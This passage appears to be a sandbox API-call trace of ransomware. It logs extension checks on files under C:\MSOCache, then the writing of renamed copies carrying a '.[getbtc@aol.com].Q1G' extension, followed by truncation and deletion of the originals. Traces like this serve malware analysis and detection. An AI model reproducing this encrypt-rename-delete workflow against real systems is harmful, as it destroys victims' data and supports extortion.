Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.119] lstrlenW (lpString=".zip") returned 4 [0036.119] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.119] lstrlenW (lpString=".rar") returned 4 [0036.119] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString=".bz2") returned 4 [0036.119] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString=".7z") returned 3 [0036.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.119] lstrlenW (lpString=".dbf") returned 4 [0036.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.119] lstrlenW (lpString=".1cd") returned 4 [0036.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.119] lstrlenW (lpString=".jpg") returned 4 [0036.120] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.120] lstrlenW (lpString=".doc") returned 4 [0036.120] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString=".docx") returned 5 [0036.120] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0036.120] lstrlenW (lpString=".pdf") returned 4 [0036.120] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString=".xls") returned 4 [0036.120] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString=".xlsx") returned 5 [0036.120] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0036.120] lstrlenW (lpString=".ppt") returned 4 [0036.120] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.120] lstrlenW (lpString=".zip") returned 4 [0036.120] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.120] lstrlenW (lpString=".rar") returned 4 [0036.120] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString=".bz2") returned 4 [0036.120] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString=".7z") returned 3 [0036.120] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.120] lstrlenW (lpString=".dbf") returned 4 [0036.120] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.120] lstrlenW (lpString=".1cd") returned 4 [0036.120] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.120] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0036.121] lstrlenW (lpString=".jpg") returned 4 [0036.121] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.121] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.121] lstrlenW (lpString="Proof.xml") returned 9 [0036.121] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.121] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1458) returned 1 [0036.121] CloseHandle (hObject=0x198) returned 1 [0036.121] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0036.121] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.121] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.121] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.121] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.122] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.122] GetLastError () returned 0x0 [0036.122] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x5b2, lpOverlapped=0x0) returned 1 [0036.123] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0036.124] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.124] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.124] SetEndOfFile (hFile=0x1a8) returned 1 [0036.125] CloseHandle (hObject=0x1a8) returned 1 [0036.125] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.125] SetEndOfFile (hFile=0x198) returned 1 [0036.126] CloseHandle (hObject=0x198) returned 1 [0036.126] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.126] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0036.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.126] lstrlenW (lpString=".doc") returned 4 [0036.126] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.126] lstrlenW (lpString=".docx") returned 5 [0036.127] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0036.127] lstrlenW (lpString=".pdf") returned 4 [0036.127] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString=".xls") returned 4 [0036.127] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString=".xlsx") returned 5 [0036.127] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0036.127] lstrlenW (lpString=".ppt") returned 4 [0036.127] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.127] lstrlenW (lpString=".zip") returned 4 [0036.127] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.127] lstrlenW (lpString=".rar") returned 4 [0036.127] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString=".bz2") returned 4 [0036.127] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString=".7z") returned 3 [0036.127] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.127] lstrlenW (lpString=".dbf") returned 4 [0036.127] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.127] lstrlenW (lpString=".1cd") returned 4 [0036.127] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.127] lstrlenW (lpString=".jpg") returned 4 [0036.127] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.127] lstrlenW (lpString=".doc") returned 4 [0036.127] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString=".docx") returned 5 [0036.128] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0036.128] lstrlenW (lpString=".pdf") returned 4 [0036.128] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString=".xls") returned 4 [0036.128] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString=".xlsx") returned 5 [0036.128] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0036.128] lstrlenW (lpString=".ppt") returned 4 [0036.128] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.128] lstrlenW (lpString=".zip") returned 4 [0036.128] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.128] lstrlenW (lpString=".rar") returned 4 [0036.128] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString=".bz2") returned 4 [0036.128] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString=".7z") returned 3 [0036.128] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.128] lstrlenW (lpString=".dbf") returned 4 [0036.128] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.128] lstrlenW (lpString=".1cd") returned 4 [0036.128] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0036.128] lstrlenW (lpString=".jpg") returned 4 [0036.128] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.128] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.129] lstrlenW (lpString="Proofing.xml") returned 12 [0036.129] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.129] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=811) returned 1 [0036.129] CloseHandle (hObject=0x198) returned 1 [0036.130] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0036.130] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.130] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.130] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.130] GetLastError () returned 0x0 [0036.130] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x32b, lpOverlapped=0x0) returned 1 [0036.132] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x330, lpOverlapped=0x0) returned 1 [0036.132] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.132] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.133] SetEndOfFile (hFile=0x1a8) returned 1 [0036.133] CloseHandle (hObject=0x1a8) returned 1 [0036.133] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.133] SetEndOfFile (hFile=0x198) returned 1 [0036.134] CloseHandle (hObject=0x198) returned 1 [0036.134] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.134] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0036.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.134] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.135] lstrlenW (lpString=".doc") returned 4 [0036.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString=".docx") returned 5 [0036.135] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.135] lstrlenW (lpString=".pdf") returned 4 [0036.135] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString=".xls") returned 4 [0036.135] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString=".xlsx") returned 5 [0036.135] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.135] lstrlenW (lpString=".ppt") returned 4 [0036.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.135] lstrlenW (lpString=".zip") returned 4 [0036.135] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.135] lstrlenW (lpString=".rar") returned 4 [0036.135] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString=".bz2") returned 4 [0036.135] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString=".7z") returned 3 [0036.135] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.135] lstrlenW (lpString=".dbf") returned 4 [0036.135] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.135] lstrlenW (lpString=".1cd") returned 4 [0036.135] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.135] lstrlenW (lpString=".jpg") returned 4 [0036.135] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.136] lstrlenW (lpString=".doc") returned 4 [0036.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString=".docx") returned 5 [0036.136] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0036.136] lstrlenW (lpString=".pdf") returned 4 [0036.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString=".xls") returned 4 [0036.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString=".xlsx") returned 5 [0036.136] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0036.136] lstrlenW (lpString=".ppt") returned 4 [0036.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.136] lstrlenW (lpString=".zip") returned 4 [0036.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.136] lstrlenW (lpString=".rar") returned 4 [0036.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString=".bz2") returned 4 [0036.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString=".7z") returned 3 [0036.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.136] lstrlenW (lpString=".dbf") returned 4 [0036.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.136] lstrlenW (lpString=".1cd") returned 4 [0036.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0036.136] lstrlenW (lpString=".jpg") returned 4 [0036.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.137] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.137] lstrlenW (lpString="Setup.xml") returned 9 [0036.137] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.142] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=5884) returned 1 [0036.142] CloseHandle (hObject=0x198) returned 1 [0036.142] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.142] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.142] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.143] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.143] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.143] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.143] GetLastError () returned 0x0 [0036.143] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x16fc, lpOverlapped=0x0) returned 1 [0036.342] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1700, lpOverlapped=0x0) returned 1 [0036.343] ReadFile (in: hFile=0x198, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.344] WriteFile (in: hFile=0x1a8, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.344] SetEndOfFile (hFile=0x1a8) returned 1 [0036.344] CloseHandle (hObject=0x1a8) returned 1 [0036.344] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.345] SetEndOfFile (hFile=0x198) returned 1 [0036.345] CloseHandle (hObject=0x198) returned 1 [0036.345] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.346] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.346] lstrlenW (lpString=".doc") returned 4 [0036.346] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.346] lstrlenW (lpString=".docx") returned 5 [0036.346] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.346] 